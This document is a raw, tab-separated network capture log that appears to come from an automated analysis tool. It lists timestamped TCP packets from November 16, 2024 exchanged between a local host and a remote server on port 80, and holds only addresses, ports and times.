Nov 16, 2024 20:12:36.459775925 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.459830046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.459862947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.459896088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.459913969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.459996939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.460026026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.460047960 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.460184097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.460217953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.460235119 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.460254908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.460289955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.460304022 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.460553885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.460587978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.460608006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.460622072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.460666895 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.474782944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.474908113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.474937916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.474970102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.474971056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475006104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475018024 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.475054979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475100994 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.475286007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475347042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475380898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475393057 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.475526094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475559950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475574017 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.475626945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475661039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475678921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.475701094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.475749969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.476078987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476113081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476145983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476212025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.476325035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476372004 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.476377964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476422071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476434946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476449966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476459980 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.476481915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476494074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.476520061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476548910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.476567984 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.523386955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.523428917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.523449898 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.523488045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.523515940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.523536921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.526402950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.526444912 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.526468992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.526536942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.526565075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.526587963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.572282076 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.595954895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596024990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596070051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596092939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.596103907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596157074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596163034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.596191883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596244097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.596244097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596278906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596313000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596326113 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.596348047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596381903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596398115 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.596415997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596450090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596465111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.596482992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596515894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596537113 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.596551895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.596599102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.597830057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.597881079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.597914934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.597932100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.597949982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.597995996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.598459959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598510981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598546028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598560095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.598597050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598630905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598645926 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.598664999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598700047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598711967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.598735094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598771095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598781109 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.598918915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.598965883 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.598970890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.599004984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.599037886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.599050999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.599072933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.599106073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.599118948 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.599138975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.599183083 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.599533081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.599566936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.599601984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.599618912 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.645690918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.645745039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.645766973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.645782948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.645817041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.645852089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.645862103 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.645889044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.645898104 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.648545980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.648576975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.648592949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.648680925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.648711920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.648727894 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.697264910 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.717765093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.717817068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.717850924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.717899084 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.717900991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.717936993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.717943907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.717969894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718007088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718039036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718050957 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.718072891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718080997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.718106985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718149900 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.718262911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718297005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718331099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718364000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718373060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.718405962 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.718528986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718560934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.718605042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.718611956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.720604897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.720657110 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.720658064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.720693111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721071005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721100092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721124887 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.721148968 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.721149921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721183062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721216917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721249104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721268892 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.721292019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.721493006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721524954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721559048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721590996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721606016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.721637011 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.721678019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721729994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721774101 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.721787930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721805096 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721817970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721831083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.721843958 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.721872091 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.722215891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.722265005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.722302914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.722317934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.722332954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.722337008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.722362041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.772428989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.772480965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.772515059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.772546053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.772547960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.772557974 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.772583961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.772640944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.776670933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.776705027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.776741982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.776768923 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.777007103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.777040958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.777055025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.822248936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.850977898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851042986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851059914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851093054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851104975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.851126909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851138115 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.851161957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851193905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851214886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.851228952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851342916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.851506948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851557016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851598978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.851622105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851654053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851687908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851736069 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.851876020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851908922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.851931095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.851943016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.852016926 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.854773998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.854815960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.854831934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.854863882 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.855216980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855249882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855283022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855293036 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.855324984 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.855331898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855391026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855442047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855452061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.855474949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855520964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855526924 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.855534077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855549097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855581045 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.855813026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855865002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855901003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855933905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.855940104 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.855962992 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.856157064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.856210947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.856249094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.856255054 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.856264114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.856290102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.856297970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.856329918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.856367111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.856373072 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.856395960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.856417894 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.900367975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.909331083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.909339905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.909374952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.909395933 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.909408092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.909449100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.909842014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.909871101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.909933090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.914211988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.914309025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.914357901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.914407015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.914428949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.914443016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.914459944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.914486885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.914534092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.914581060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.982228994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982280970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982331038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982337952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.982368946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982381105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982408047 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.982414007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982446909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982480049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982496023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.982552052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982583046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982594013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.982615948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982628107 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.982784033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982851982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982883930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982894897 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.982917070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.982923031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.983093977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.983123064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.983139038 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.986134052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986161947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986182928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.986212969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986241102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986263037 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.986366034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986407995 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.986413956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986452103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986509085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986532927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.986541033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986573935 CET	80	49744	185.215.113.16	192.168.2.4
